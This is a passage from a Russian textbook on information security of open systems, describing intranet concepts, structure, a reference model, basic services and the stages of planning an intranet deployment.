Стандартизованная среда Интернета позволяет взаимодействовать между собой различным инструментальным средствам и обеспечивает простой и удобный доступ к таким корпоративным ресурсам, как БД, с помощью специальных сценариев, написать которые не представляет особого труда. Объединяя эти средства с легким для изучения языком разметки гипертекста HTML и графическими вставками, настраиваемую среду интранета можно создать всего за несколько недель.
Поскольку в большинстве существующих сетей используются те или иные протоколы из стека TCP/IP, с интранетом могут работать все сотрудники компании. Более того, применение уже реализованных технологий позволяет компаниям избежать значительных капиталовложений в аппаратное обеспечение и кабельную систему. К примеру, чтобы сотрудник имел возможность получать корпоративную информацию непосредственно на своей настольной системе, все, что нужно сделать, - это добавить клиентские драйверы для TCP/IP, веб-браузер и другие инструментальные средства Интернета.
2. Интранет как открытая система
71
Интранет обязательно использует протокол HTTP (Hypertext Transfer Protocol). Он применяется для передачи текстов, изображений и гиперссылок (т. е. связей с другими электронными документами), указывающих на веб-страницы. HTTP дает возможность ресурсам интранета обмениваться информацией в определенном формате.
Интранет может и не иметь прямого соединения с Интернетом. В некоторых случаях канал доступа к Интернету доставляет лишние проблемы, особенно когда приходится работать с конфиденциальной информацией. В большинстве случаев, однако, соединение с Интернетом увеличивает ценность интранета, поскольку оно открывает доступ к ресурсам Интернета непосредственно с веб-страниц интранета.
Все полезные качества веб-технологии реализуются в рамках простой схемы: программа просмотра, которая размещается на рабочем месте пользователей (навигатор, или браузер), веб-сервер, который выступает в качестве информационного концентратора, и стандарты взаимодействия между клиентом и веб-сервером. Это практически все, что необходимо для построения пилотного варианта интранета. На этой основе можно расширять спектр функций системы, добавляя такие сервисы, как поиск информации, коллективная работа с единым массивом информации и ряд других.
Условно основные компоненты интранета представлены на рис. 10. Эта сеть появляется тогда, когда в организации есть профессионалы, занимающие новые должности с высоким уровнем знаний в области сетевых и информационных технологий и высокой степенью ответственности, способные за счет самых передовых технологий обеспечивать сотрудников организации самой современной информацией, нужной им для выполнения задач компании.
Рис. 10. Компоненты интранета
Из вышеизложенного следует, что у Интернета и интранета есть много общего. Самым главным является общий основной протокол IP (Internet Protocol) — при его использовании передача информации в интранет осуществляется через установленные IP-соединения. Но между интранетом и Интернетом существует и много различий. Они представлены в табл. 1.
Таблица 1. Сравнение интранета и Интернета
Интернет	Интранет
Пакеты принадлежат всем	Пакеты принадлежат организации
Расходы на поддержание сети распределены между пользователями	Расходы на интранет оплачиваются организацией
Централизованного управления нет	Управление осуществляется организацией
Слабые политики безопасности	Сильные политики безопасности
Использование по желанию	В организации используют все обязательно
Нет контролирующей организации	Контроль со стороны организации
72
Информационная безопасность открытых систем
Теперь перечислим некоторые особенности интранета.
	Низкая стоимость клиентского обеспечение, так как вся работа в интранет осуществляется через веб-браузер, что снижает требования к ПО и конфигурации рабочего места пользователя.
	Гибкость за счет того, что в единой инфраструктуре работают централизованные ИС и распределенные приложения, а также есть возможность реконфигурации топологии интранета.
	Масштабируемость, предполагающая как программное, так и аппаратное наращивание обеспечения интранета.
	Интеграция данных, представленных в виде как структурированной, так и неструктурированной информации, и приложений, подразделяемых на централизованные и распределенные.
	Сочетание централизованного управления (пользователями, информационными ресурсами) с возможностями непрямого децентрализованного управления некоторыми локальными информационными ресурсами.
	Развитые средства подготовки документов с возможностями коллективной работы, предполагающими их обсуждение, коррекцию, согласование и утверждение.
Можно выделить ряд преимуществ интранета по сравнению с другими видами сетей.
	В интранете объединяются данные из различных источников (внутренних и внешних, структурированных и неструктурированных).
	Обеспечивается доступ к данным всем пользователям внутри организации (в соответствии с политикой доступа).
	Информация предоставляется в формате, удобном для всех пользователей.
	В интранет гарантирована производительность, доступность, наличие необходимых сервисов и обеспечение информационной безопасности.
Эти преимущества интранета положительно влияют на успешность осуществления бизнеса.
	Повышается конкурентоспособность за счет:
	лучшего доступа к информации конкурентов и к внутренней информации;
	своевременного и постоянного (не ограниченного по времени) доступа (сразу по требованию);
	единого интерфейса для доступа;
	упрощенной процедуры публикации;
	совместного использования (разделения) знаний;
•	новых возможностей для бизнеса.
 Увеличивается объем продаж за счет:
	более быстрого доступа к информации, нужной для игры на рынке;
	использования возможностей мультимедиа в Web;
•	сокращения времени до выхода на рынок;
•	соединения клиентов с внутренними системами;
	прямой и постоянной связи с покупателями;
	снижения затрат.
 Затраты снижаются сразу и исчезают совсем позднее за счет:
 большей автоматизации труда;
• снижения затрат на ПО, бумагу и распространение информации;
2. Интранет как открытая система
73
 более быстрого доступа к информации.
 Возрастает производительность (благодаря лучшему доступу к информации и приложениям), так как для интранета характерно следующее:
	единый платформонезависимый интерфейс;
•	проще изучить, проще расширить;
	доступ к внешней информации;
*	проще опубликовать информацию;
	связь с существующими данными;
	своевременная информация и обучение;
	постоянный доступ к информации;
•	доставка информации на рабочие станции;
	шлюзы к существующим приложениям;
	меньше проблем из-за несовместимости;
•	не нужно тестировать браузеры;
	широкое использование группового ПО;
•	более тесная интеграция информации и средств ее представления и обработки и др.
 Сокращается срок до выхода продукта на рынок (например, благодаря совместным разработкам) за счет:
	использования накопленной информации;
•	немедленного совместного использования информации (со всем миром, в том числе и с бизнес-партнерами);
•	сокращения срока разработки.
 Улучшается работа с клиентами за счет:
	меньших вложений;
	работы со всем миром 24 ч в сутки;
	ссылок;
	совместного использования информации с другими пользователями;
	интеллектуального поиска информации;
•	подписки на обновления;
	доступа к внутренним специалистам-экспертам.
 Расширяется сотрудничество за счет:
	совместной работы, в том числе и над документами;
	использования средств конференций (аудио-, видео-) и других средств быстрой связи в реальном времени;
•	поддержки работы виртуальных, распределенных групп;
	отсутствия ограничений на вычислительные платформы и сети.
Для интранета отмечается еще одно уникальное качество новой технологии, которое заключается в том, что усложнение системы, расширение сервисов, детализация функций не требует от пользователя наращивания специальных знаний. Он учится работе с информацией один раз, а далее, пользуясь в своей повседневной работе средствами навигации по информационному пространству организации, он раз за разом обнаруживает новые возможности, облегчающие выполнение его задач, но при этом инструмент-то остается старым, надежным и испытанным. Психологически исключительно важно. Человек начинает по-другому относиться к работе с информацией - он начинает работать быстрее, эффективнее, он видит реальные результаты,
74
Информационная безопасность открытых систем
приобщается к коллективной работе над колоссальной ценностью, практически самым важным, чем владеет организация - ее информационным хранилищем.
Анализ основных тенденций развития интранета позволяет заключить, что прогресс в данной области пойдет по следующим направлениям:
	интеллектуальный сетевой поиск;
	высокая интерактивность навигаторов за счет применения Java-технологии;
	опора на сетевые компьютеры;
	превращение интерфейса навигатора в универсальный интерфейс с компьютером.
2.1.1. Структура интранета
Для понимания структуры интранета еще раз выделим ряд ее свойств. На сервере порождается конечный продукт - информация в форме, предназначенной для представления пользователю. Для обмена информацией между клиентом и сервером применяется протокол открытого стандарта. Информация представляется клиентам в виде, удобном для восприятия. Прикладная система сконцентрирована на сервере (на клиентах, кроме программ-навигаторов, ничего нет). Рабочее место представляет собой простое универсальное устройство. Фактически, это графический терминал для потребления информации - сетевой компьютер, снабженный специализированным ПО - программой навигации. Вся потребляемая информация порождается на сервере. Доступ к информации осуществляется через одну и ту же программу, не требующую локальных данных. Устройство на рабочем месте целиком настраивается из центра и нет необходимости выполнять какие-то дополнительные действия, по его конфигурированию.
Другое полезное качество интранета - это облегченное централизованное управление, причем не только серверной частью, но и рабочими местами. Сегодня уже можно говорить о централизованном конфигурировании каждого рабочего места, что на несколько порядков упрощает и удешевляет администрирование ИС. В таких системах проще решается и вопрос обеспечения ИБ. Проблема защиты сложна в первую очередь не тем, что сложны сами по себе задача и каждая отдельная подзадача обеспечения ИБ, а тем, что задач много и они разнообразны. При переходе к интранету задача качественно упрощается. Во-первых, гораздо большая часть ресурсов централизована. Ими не только легче управлять, но их и легче защищать. Во-вторых, внешние интерфейсы оказываются унифицированными, стандартными. Способов взаимодействия удаленного рабочего места с центральным сервером оказывается очень немного. Не нужно более заботиться о десятках или даже сотнях приложений на компьютерах-клиентах и для каждого из них решать задачу защиты взаимодействия клиента с сервером. Достаточно обеспечить стандартное решение для одного рабочего места, которое и будет стандартным для всех.
После того как данные централизованы, появилась возможность тиражировать их в разные точки организации для решения дополнительных задач, которые возникают в большой ИС с целью повышения производительности и надежности. Технология тиражирования информации позволяет кардинально решить вопрос о надежности ИС за счет дублирования и раздельного хранения важной информации.
Структура интранета может быть представлена моделью, состоящей из четырех уровней (рис. 11): инфраструктуры, интеграции, приложений и представлений.
2. Интранет как открытая система
75
Рис. 11. Структура интранета
Сетевая инфраструктура является основой интранета, обеспечивающей необходимые соединения и предоставляющей доступ к информации из любого места организации (подробнее сетевая инфраструктура рассмотрена в п. 2.1.3.1). Ее основу составляет АО интранета с соответствующим ПО, поддерживающим работу аппаратных средств.
Уровень интеграции содержит информационные хранилища и архивы (репозитории) бизнес-процессов, предназначенных для специфической в данной организации обработки информации, и корпоративные стандарты (регламенты), также определяющие допустимые процедуры обработки информации в рамках организации.
Уровень приложений объединяет ранее используемые и новые прикладные средства, реализующие задачи бизнеса организации (вопросы приложений обсуждаются в п. 2.1.3.3).
Уровень представлений является основным связующим звеном между интранетом и конечными пользователями - потребителями ее информационных и сетевых ресурсов.
На рис. 11 изображен и еще один необходимый элемент структуры - это система управления интранетом, координирующая работу всех уровней. Ее функции будут рассмотрены в п. 2.1.3.5.
Базируясь на приведенной структуре, для интранета можно выделить четыре уровня абстракции:
1)	уровень логики основных приложений, необходимых для поддержки работы и информационного наполнения портала (каталог, подбор новостей, другие сервисы);
2)	уровень бизнес-логики приложений, в которых реализуются основные бизнес-процессы компании;
3)	уровень описания логики отображения результатов работы приложений уровня бизнес-логики;
4)	уровень представления информации в веб-браузере.
76
Информационная безопасность открытых систем
В интранете выделяют три уровня коммуникаций - аппаратный, программный и информационный [23]. Аппаратный и программный уровни отвечают за организацию надежного канала связи и передачу информации без искажений, а также организацию хранения информации и эффективного доступа к ней. Информационный уровень является определяющим при поиске и передаче знаний. Здесь также можно выделить минимум три уровня, без которых любое общение либо невозможно, либо бессмысленно.
1.	Универсальный язык представления корпоративных знаний - это такой язык описания, который не связан с конкретными предметными областями деятельности организации и определяет грамматику и синтаксис. К этой категории могут относиться графический язык описания алгоритмов, сетевых графиков, моделей данных, бизнес-процессов, язык разметки документов. Уровень абстракции таких языков столь высок, что не связан со спецификой какого-либо предмета. Его использование преследует решение нескольких задач:
	обеспечение унификации представления знаний;
	обеспечение однозначности толкования знаний всех уровней;
	сведение процессов обработки информации к простым процедурам, допускающим их автоматизацию; к таким типовым процедурам можно отнести навигацию, поиск информации, организацию связей между данными.
2.	Модели и представления. Этот уровень определяет конкретную специфику предметов деятельности компании: понятия и символы предметной области, теоретические представления о предмете и самой организации. Например, такая область, как финансовый учет, на данном уровне должна включать толкование всех используемых понятий, базовые принципы и теоретические модели финансового учета, нормы, правила, классификаторы, стандарты. Знания этого уровня иногда называют метаданными, т. е. данными, описывающими первичные данные (фактические знания). Уровень моделей и представлений также решает несколько задач.
	Обеспечение единого представления деятельности организации всеми ее сотрудниками: единой системы понятий, целей деятельности и принципов их достижения, единых принципов поведения и мотивации, единой системы мер, эталонов, классификаторов, нормативов.
	Обеспечение интерпретации первичных данных. Без корпоративных знаний уровня моделей и представлений невозможна не только интерпретация и оценка первичных данных, но даже их измерение. Более того, любое событие становится значимо (наблюдаемо) с точки зрения управления только после того, как оно нашло себе место в системе корпоративных представлений.
	Обеспечение навигации по всему информационному пространству организации.
3. Фактические знания - это конкретные предметные знания, представляющие собой факты, выраженные в терминах предметной области. Такие факты являются первичными данными и могут содержаться в документах, базах данных, почтовых и новостных сообщениях.
Все три уровня образуют корпоративные знания и являются содержательным контекстом корпоративных коммуникаций.
Ресурсы интранета, как и любой другой сети, подразделяются на информационные и сетевые. Под информационными ресурсами интранета, согласно определению Гостехкомиссии РФ, будем понимать совокупность данных и программ, задейство
2. Интранет как открытая система
77
ванных при обработке информации техническими средствами. К сетевым ресурсам принято относить сетевые сервисы и АО интранета.
2.1.2.	Эталонная модель интранета
Эталонная модель интранета объединяет информационное наполнение, базовые сервисы и базовые механизмы [24]. В ней отражены все основные средства интранета:
I)	вычислительные платформы;
2)	пользовательские средства;
3)	системы нахождения информации (навигации);
4)	средства управление публикациями и документами;
5)	базы данных/репозитории;
6)	средства разработки приложений;
7)	средства интеграции с наследуемыми системами;
8)	средства управления;
9)	средства связи (конференции/сотрудничество).
Базовые механизмы
Базовые механизмы интранета представлены на рис. 12 [24]. Обычный пользователь взаимодействует с ресурсами интранета через веб-узлы (Web sites) посредством пользовательских средств (user tools), в которых для него имеются средства поиска информации (discovery tools) и средства поддержки (user support). Разработчики создают пользовательские средства и веб-средства (Web tools), состоящие из вебприложений (Web applications) и средств управления средой интранета (environment managers) и поддерживающие работу издательских систем (publishing systems). Провайдеры обеспечивают хранение информации в хранилище, или репозитории (information repository), и работу издательских систем (publishing systems).
Рис. 12. Базовые механизмы интранет
78
Информационная безопасность открытых систем
Оговоримся, что на эталонной модели представлен базовый набор механизмов, которые присутствуют в интранете любой организации. В реальной сети возможно применение и других механизмов.
Теперь рассмотрим эти механизмы подробнее.
Пользовательские средства. В интранете должны применяться протестированные, сертифицированные и современные (обслуживаемые, постоянно обновляемые) средства с удобными и понятными для пользователей интерфейсами и небольшими затратами на сопровождение. Реализуются такие пользовательские средства веббраузерами со встроенными средствами (Plug-ins), руководствами по использованию и путеводителями, системами просмотра (viewers) для новых форматов данных и файлов и страничками-памятками с закладками и уведомлениями.
Как было отмечено выше, пользовательские средства состоят из системы навигации (или средств поиска информации) и системы поддержки пользователей.
Система навигации. Огромные информационные ресурсы интранета абсолютно бесполезны, если в них нельзя найти требуемую информацию (отметим, что важно и качество найденной информации) и данные. Причем возможность и скорость нахождения касается всего в интранете - не только предоставляемой пользователям информации и данных, а также поступающих для обработки и хранения в интранет сведений, применяемых для этой обработки приложений, самому контенту интранета и системам его публикации. В связи с этим возникает потребность в разработке и утверждении политики того, что, где, когда и кому можно искать.
Для осуществления поиска должны предоставляться самые разнообразные средства, нуждающиеся в постоянном усовершенствовании в соответствии с изменяющими потребностями пользователей. В данную категорию средств входят различные поисковые механизмы, поисковые агенты (типа "пауков" - Spiders, интеллектуального поиска под запросы конкретного пользователя или push-технологии) и классификаторы и доски объявлений, упрощающие поиск (типа тех, которые есть на Интер-нет-узлах, например на Yahoo или Апорте).
Примеры поисковых механизмов (search engines), представленных средствами для серверов, очень просто найти в Интернете. Приведем некоторые из наиболее часто используемых в интранете поисковых механизмов (более полный список дан в прил. 1).
Excite [http://www.excite.com] - система, реализующая поиск по систематизированному каталогу и ключевым словам.
OpenText [http://www.opentext.com] - система, осуществляющая полнотекстовый поиск, поиск метаданных различных форматов, а также способная поддерживать интерактивный поиск.
FreeWAIS [http://ls6-www.informatik.uni-dortmund.de/ir/projects/ freeWAIS-sf/] -система, предназначенная для произвольного поиска под управлением ОС Unix.
Harvest [http://harvest.transarc.com] - система, имеющая масштабируемую, интерактивную архитектуру для индексации и доступа к информации в Интернете.
Другие системы типа Verity [http://www.verity.com], Fulcrum Technologies [http://www.fulcrum-technologies.com], Thunderstone [http://www.thunderstone.com] и т. п.
В отдельную группу выделяются средства помощи при перемещении между страницами (page navigation aids):
	строки совместного перемещения (shared navigation bars);
	метафоры (metaphors);
2. Интранет как открытая система
79
	страницы помощи (help pages);
	карты веб-узлов (site maps).
Есть и средства более широкого применения:
	доски объявлений (announcement directory);
	специализированные искатели информации (info finders);
	фильтры (filters);
	агенты (agents);
	путеводители (guides).
Выделим ряд интересных моментов, характеризующих основные направления в системах нахождения информации:
	запись и сохранение предыдущих поисков пользователя;
	подписка на получение специальной информации;
	персонализированный поиск;
	поиск в фоновом режиме;
	поиск в зависимости от решаемых задач;
	поиск на основе агентов;
Push-технология (дословно в переводе означает технологию принудительного распространения информации), реализующая отбор и доставку информации в реальном времени.
Система поддержки пользователей. На основе веб-технологии эта система обеспечивает поддержку действий конечных пользователей в интранете, а именно обучает, консультирует, помогает им наилучшим образом использовать все ресурсы интранет. Такая система обязательно задействована в организации интерактивной поддержки пользователей, например в виде раздела "Часто задаваемые вопросы" (Frequently Asked Questions, FAQ). Она также может предоставлять доступ всем пользователям к системам разбора проблем (problem reporting systems), типичных для интранета или для организации в целом.
Основными требованиями при проектировании средств помощи являются следующие:
	сообщения системы поддержки должны быть просты в использовании и понимании;
	пользователи должны иметь возможность легко перемещаться в интранете;
	согласованная работа веб-пользователей достигается применением путеводителей и консультантов;
	работа система поддержки реализуется такими средствами, как подсказки, заголовки, иконки и эмблемы, строки навигации, указания даты и авторства, перекрестные ссылки, терминологические словари и т. д.
Веб-средства. Эти средства подразделяются на веб-приложения и средства управления средой интранета, которые объединяют в единое целое внешние и внутренние ресурсы интранета. Они представляют собой набор программных прикладных средств и состоят из постоянно пополняющегося списка типа:
	средств доступа к базам данных;
	средств управления состояниями и событиями;
	пользовательских интерфейсов;
	средств обработки форм;
80
Информационная безопасность открытых систем
	скриптов или сценариев (Common Gateway Interface, CGI) — это механизмы для выбора, обработки и форматирования информации, которые вызывают вебсервер, например для динамического формирования веб-страниц и публикации на них актуальных сведений, извлеченных из постоянно обновляемых баз данных ;
	языков программирования Java, ActiveX и т. д.
Примеров таких средств можно привести много. Вот далеко не полный их список: браузеры, скрипты, Java-апплеты, редакторы, конверторы, средства для авторов, средства поиска, средства индексации, средства трассировки, средства быстрого просмотра, плееры, средства вывода, средства доступа к базам данных, средства диагностики, контроллеры, фильтры, шлюзы, формы и шаблоны, карты, рассыльщики сообщений, библиотеки иконок, графика, объявления, средства защиты и т. п.
Менеджеры среды (средства мониторинга). Без средств для управления интранетом его функционирование просто невозможно, так как интранет представляет собой очень сложную, постепенно все более усложняющуюся, распределенную, постоянно меняющуюся среду. На рынке регулярно появляются все новые средства данной категории, упрощающие и автоматизирующие работу администраторов интранета. Большинство существующих сегодня средств связано с другими системами, осуществляющими следующие функции:
	различные виды администрирования, включая работу с пользователями;
*	подтверждение связей;
	отслеживание статистики;
	контроль документов;
	контроль версий;
*	проверку представления данных;
	проверку веб-узлов;
	защиту и многое другое.
Остальные базовые элементы будут рассмотрены далее в этой главе.
Базовые сервисы
Сервисы предоставляют расширенную функциональность пользователям и администраторам сетей. Известно два вида сервисов - пользовательские и сетевые [22].
Среди пользовательских сервисов выделяются четыре основных типа:
	создание и публикация документов;
	координация работ и взаимодействие пользователей ИС - системы электронной почты и средства коллективной работы;
	навигация (быстрый поиск и доступ к информации);
	доступ к приложениям.
К сетевым сервисам относятся:
	справочники - управление информацией о людях и ресурсах (единая справочная служба);
	репликация — прозрачное распространение данных по сети;
*	защита;
	управление.
Базовыми для интранета являются сервисы, представленные на рис. 13 [24]. К ним принято относить:
2. Интранет как открытая система
81
1)	консалтинг (consulting) - консультирование служащих организации по самым разнообразным вопросам, включая обучение на примерах, помощь при подготовке новой информации для опубликования в интранете, решение сложных производственных вопросов, а также изучение спроса на новые средства и источники информации, что стимулирует разработку новых совместно применяемых механизмов;
2)	дизайн информации (info design) (чем лучше организованы веб-страницы, тем больше в них заинтересованы пользователи);
3)	обучение (training) пользователей интранета с привлечением различных средств, таких как интерактивные учебники, новости, демонстрационные материалы, дискуссии и т. п.;
4)	руководства (guides) (как и с чего начать работу с интранетом, какая информация доступна или как получить доступ к информации ограниченного пользования, с кем контактировать в случае проблем, необходимости установки нового ПО и т. п.);
5)	помощь/'Торячая линия" (help/hotline), что особенно важно для новых пользователей;
6)	политика организации, в которой изложены основополагающие подходы к отбору информационного наполнения для интранета и публикации документов, правила и средства доступа ко всем этим ресурсам, а также ПБ для самого интранета;
7)	сервисы, реализующие планирование развития интранета (например, опережающее предвидение новых запросов пользователей) и мониторинг всех происходящих в ней событий (например, мониторинг трафика) (planning & monitoring);
8)	сервисы, реализующие основные функции по управлению всем интранетом и его серверами (servers/management);
9)	сервисы координации (coordination), обеспечивающие поддержку совместной работы отдельных групп в пределах организации (включают средства обеспечения контактов через интранет между различными рабочими группами, совместное использование информации, получение необходимого ПО и т. п.).
Консалтинг
Дизайн информации
Обучение
Руководства
Координация
Политика
Помощь/ "горячая линия"
Планирование/ мониторинг
Серверы/ управление
Рис. 13. Базовые сервисы интранета
Как видно из краткого описания сервисов, по мере развития интранета они стимулируют разработку все новых механизмов, полезных как для пользователей, так и для сопровождающего персонала интранета.
82
Информационная безопасность открытых систем
2.1.3. Этапы создания интранета
Основной задачей при развертывании интранета является создание в пределах организации расширяемой ИС, которой смогут легко пользоваться ее сотрудники с различной начальной подготовкой. Этого не может произойти без планирования и решения вопросов масштабируемости, доступности, стоимости, простоты использования, обеспечения целостности и т. п.
Создание интранета означает не просто замену ранее созданных локальных сетей. В интранете расширена модель клиент-сервер, которая обычно применяется для доступа к БД и обеспечивает единое средство коммуникации для приложений типа электронных досок объявлений, конференц-связи и дискуссионных форумов. Но при этом не нужно разрабатывать еще одно специализированное средство доступа в среде клиент-сервер - для этого уже есть программа просмотра и поиска информации, называемая веб-браузер. Также на рынке имеется множество пакетов промежуточного уровня (ранее упомянутое middleware), обеспечивающих интерфейс между языком для представления информации в виде гипертекста и БД.
Рассмотрим основные этапы проектирования интранета (рис. 14) [24]. Самым первым из них является составление технико-экономического обоснования, или биз-нес-плана. После этого обсуждается и утверждается план развертывания интранета. Далее следует этап выработки стратегии в отношении информационного наполнения интранета, называемой для краткости информационной стратегией. Заключает эти три этапа определение плана инфраструктуры интранета.
Рис. 14. Этапы проектирования интранета
1.	Бизнес-план. Разработка и составление бизнес-плана является необходимым этапом любого инвестиционного проекта. Бизнес-план - это прежде всего прогноз того, как будет развиваться интранет и бизнес в целом. От того, насколько этот прогноз точен, зависит успех проекта. Поэтому качество и достоверность бизнес-плана -это один из важнейших критериев при его подготовке. Разработка бизнес-плана может опираться на наиболее распространенные в настоящее время стандарты UNIDO -организации по промышленному развитию при ООН [http://www.unido.org], которые основаны на следующих главных принципах:
	моделирование потоков продукции, ресурсов и денежных средств;
2. Интранет как открытая система
83
	приведение будущих доходов и расходов к текущей стоимости;
	оценка эффективности проекта посредством сопоставления потенциальных результатов и затрат с ориентацией на достижение требуемой нормы доходности;
•	учет неопределенности и рисков, связанных с осуществлением проекта.
При составлении бизнес-плана в первую очередь определяются долговременные цели и ожидаемые результаты от использования веб-технологии в рамках сети организации для успешного ведения бизнеса, а не с точки зрения самой технологии. Основное внимание при этом уделяется потребностям пользователей. То есть на данном этапе осуществляется постановка задачи построения интранета, рассчитываются ожидаемые затраты и потенциальная прибыль от внедрения интранета, определяется круг ее пользователей и строится прототип сети, отражающий видение интранета с точки зрения руководства организации. При этом определяются начальные соглашения и регламенты ее использования и критерии оценки — с детализацией доступа к информации и системам публикации, а также, что еще более важно, с определением ПБ для всех ресурсов интранета (гл. 5).
Для большей наглядности приведем простейший бизнес-план одной гипотетической организации, которую будем рассматривать и для иллюстрации других этапов создания интранета.
	Цели использования веб-технологии:
	для организации продаж с доступом к внутренней информации и информации конкурентов;
	обеспечение основных клиентов доступом к необходимой информации;
•	поддержка совместного использования информации при работе над общими проектами.
 Затраты: наиболее затратными статьями являются расходы на персонал, разработку приложений и контента, телекоммуникации, серверы, сопровождение, поддержку и развитие интранета, обучение пользователей и персонала.
2. План развертывания. Он должен содержать детальное описание стратегии поэтапного развертывания интранета, быть очень конкретным, определять информацию, средства и технические стандарты, которые для этого потребуются, а также устанавливать способы и критерии оценки успешности процесса развертывания. По мере завершения реализации начального этапа план может быть уточнен и расширен. На выработку этого плана существенно влияет выбор целевой области использования интранета и учет всех деталей, которые могут повлиять на реализацию плана, что чаще всего в крупных организациях сделать очень сложно.
Известны четыре подхода к переходу от обычной сети к интранету [24].
1.	На основе персональных компьютеров (personal computer, PC). Этот подход реализовать проще всего, так как все мероприятия по подключению к интранету осуществляет сам пользователь, но, конечно же, в соответствии с единым для всех пользователей интранет утвержденным руководством.
2.	На основе сетевых компьютеров (network computer, NC), иначе называемых "тонкими" клиентами. Подключение к интранету осуществляется централизованно. Нагрузка на пользователя минимальна.
Сравнение этих двух подходов в наглядном виде представлено на рис. 15.
84
Информационная безопасность открытых систем
Рис. 15. Развертывание интранета на основе персональных и сетевых компьютеров
3.	На основе компромисса:
	интерактивная инсталляция - упаковка ПО для инсталляции в специальные корпоративные пакеты ПП;
	централизованная доставка ПО на рабочую станцию;
	установка ПО пользователем;
	удаленное управление сервисами рабочей станции.
4.	На основе интеллектуальных агентов с регистрацией и удаленным централизованным мониторингом. В интеллектуальных агентах применяется оригинальная технология электронной поддержки. Сбор информации, помогающей управлять ПК (о конфигурации системы, об установленных в ней приложениях и дополнительных компонентах), осуществляется при помощи специальных интерактивных агентов. Служба позволяет автоматически провести диагностику и внести необходимые изменения в конфигурацию. С помощью интеллектуальных агентов владельцы компьютеров могут также загружать драйверы устройств, получать и устанавливать обновленные версии ПО по мере их появления.
В качестве примера приведем краткий план развертывания для нашей выбранной организации.
	Основная цель - рост продаж.
•	Работа с применением ноутбуков.
•	Начало развертывания интранета — с пробной группой из 12 основных продавцов.
 В центре внимания - производственная информация.
 Цель для потребителей - получение квалифицированной информации от инженеров.
 Показатели успеха - число пользователей, скорость роста числа пользователей.
3. Информационная стратегия. Ключевыми вопросами, на которые должны быть получены четкие ответы во время определения информационной стратегии и выработки единой для интранета архитектуры информации, являются следующие. Какая информация требуется большинству пользователей? Как будет получаться информация (какими способами)? Какие источники информации будут применяться (наследуемые системы; преобразованная информация; информация, полученная из новых источников, в том числе внешних)? В каком формате поступает информация? Какова периодичность ее поступления? Как обеспечить ее целостность? Как ее ин
2. Интранет как открытая система
85
тегрировать в единых рамках интранета? Какие стратегии получения доступа к информации являются наилучшими для создаваемого интранета? Как оценить достижения? После ответа на все эти вопросы должна возникнуть стройная система правил, процедур и ролей в управлении информацией, т. е. информационная стратегия. На этом этапе также осуществляется выработка принципов отбора и подготовки информационного наполнения веб-узлов и его обновления.
Основным критерием правильности принятой информационной стратегии считается то, что в интранете содержится только проверенная, легко разыскиваемая информация, не утратившая своей актуальности.
Говоря об информационной стратегии, нельзя не ввести одно из основных понятий, связываемых с интранетом. Это понятие контента (content), или содержания. Единого определения на сегодняшний день пока не существует, но из различных источников [например, 25] можно сделать вывод, что контент - это информационное наполнение, преобразованное в любую форму - тексты, иллюстрации, интерактивные элементы, предназначенное для передачи и хранения с целью последующего востребования и упорядоченное в соответствии с заранее разработанной структурой. Контент интранета, как правило, очень динамичен.
Для управления контентом разрабатываются системы управления контентом (Content Management System, CMS) - это специализированное ПО, позволяющее автоматизировать разработку и управление информационными ресурсами: их содержимым, структурой, дизайном. Система управления контентом может быть реализована и как самостоятельное ПО, и как модуль в составе системы документооборота (российских систем такого уровня пока нет, из зарубежных это, например, Documentum (http://www.documentum.com) и т. д.).
Информационная стратегия для нашей гипотетической организации может быть, например, такой:
	Информация о конкурентах получается от аналитиков.
	Связи с хранилищами информации устанавливаются только после подтверждение прав доступа к информации.
	Вся деловая информация должна храниться в репозитории.
	Требуется постоянный контакт с группой продаж для определения их потребности в информации.
	Необходима поддержка создания внутренних веб-узлов и их совместное использование в пределах организации.
4. План инфраструктуры. На этом этапе должна быть определена инфраструктура интранета, состоящая:
•	из централизованного управления на основе принятых политик и стандартов;
	объединяющих все ресурсы интранета механизмов;
	сервисов поддержки ее пользователей и обеспечивающего персонала;
	ее информационного наполнения, т. е. совместно используемых (иначе разделяемых) информационных ресурсов и способов, делающих эти ресурсы доверенными.
План инфраструктуры основан в первую очередь на эталонной модели интранета, текущем состоянии и возможностях организации, ее потребностях для осуществления бизнеса и времени, требуемом для проведения всех работ.
86
Информационная безопасность открытых систем
Специалисты отмечают, что видение, стратегии и задачи должны постоянно пересматриваться и по мере необходимости обновляться. Ведь создание интранета - это эволюционный, а не революционный процесс.
Отдельно можно выделить и некоторые вопросы, без решения которых проектирование интранета существенно усложняется. К ним принято относить [26]:
	постепенный отход от среды передачи с разделяемым доступом;
	оптимальное размещение коммутаторов;
	выбор типа коммутируемой магистрали (100Base-T или ATM или какой-либо еще);
	определение и реализацию виртуальных частных и локальных сетей;
	управление полосой пропускания глобальных сетей;
	поддержку специальных протоколов, например для удаленного мониторинга по протоколу RMON;
	использование графической среды управления;
	выбор инструментария для мониторинга, включая ручные анализаторы.
Начало перехода к интранету заметно упрощается, если правильно выбрана начальная инфраструктура, инсталлирован централизованный веб-сервер и создано несколько стартовых веб-страниц.
Подводя итог вышеизложенному, перечислим более конкретно, что же нужно определить для создания интранета.
1.	Ее масштаб (размер) с учетом всей централизованной архитектуры, механизмов и сервисов, общих и разделяемых ресурсов.
2.	Информационное наполнение.
3.	Сетевую инфраструктуру.
4.	Используемые приложения.
5.	Систему публикации информации, т. е. издательскую систему.
6.	Средства и процедуру управления интранетом.
7.	Вопросы финансирования.
8.	Обеспечение ИБ.
9.	Поддерживающий персонал.
Далее все эти вопросы будут рассмотрены более подробно.
Сетевая инфраструктура
Как было отмечено выше, сетевая инфраструктура является основой интранета, обеспечивающей необходимые соединения и предоставляющей доступ к информации из любого места организации. Конфигурации интранета столь же разнообразны, как и способы их использования. Конкретная топология интранета в конечном счете определяется функциональными требованиями и соображениями удобства доступа (рис. 16) [26]. Но в их сетевых инфраструктурах есть и общие черты - веб-, DNS-, почтовые и прокси-серверы, маршрутизаторы и т. п. Например, общепринятым является разграничение доступа между сегментами интранета для защиты конфиденциальной информации и создание так называемых демилитаризованных зон (Demilitarized Zone, DMZ). Такое разграничение обычно реализуется совокупностью маршрутизаторов, распределенных в пределах группы зданий. С другой стороны, топология интранета может основываться и на сочетании центрального маршрутизатора и многочисленных концентраторов/коммутаторов. Набор возможных вариантов
2. Интранет как открытая система
87
так же многообразен, как и условия, в которых функционирует каждая организация. Под "другой сетью" на рис. 16 обычно понимается Интернет (хотя возможны и другие варианты).
Рис. 16. Возможная конфигурация интранета
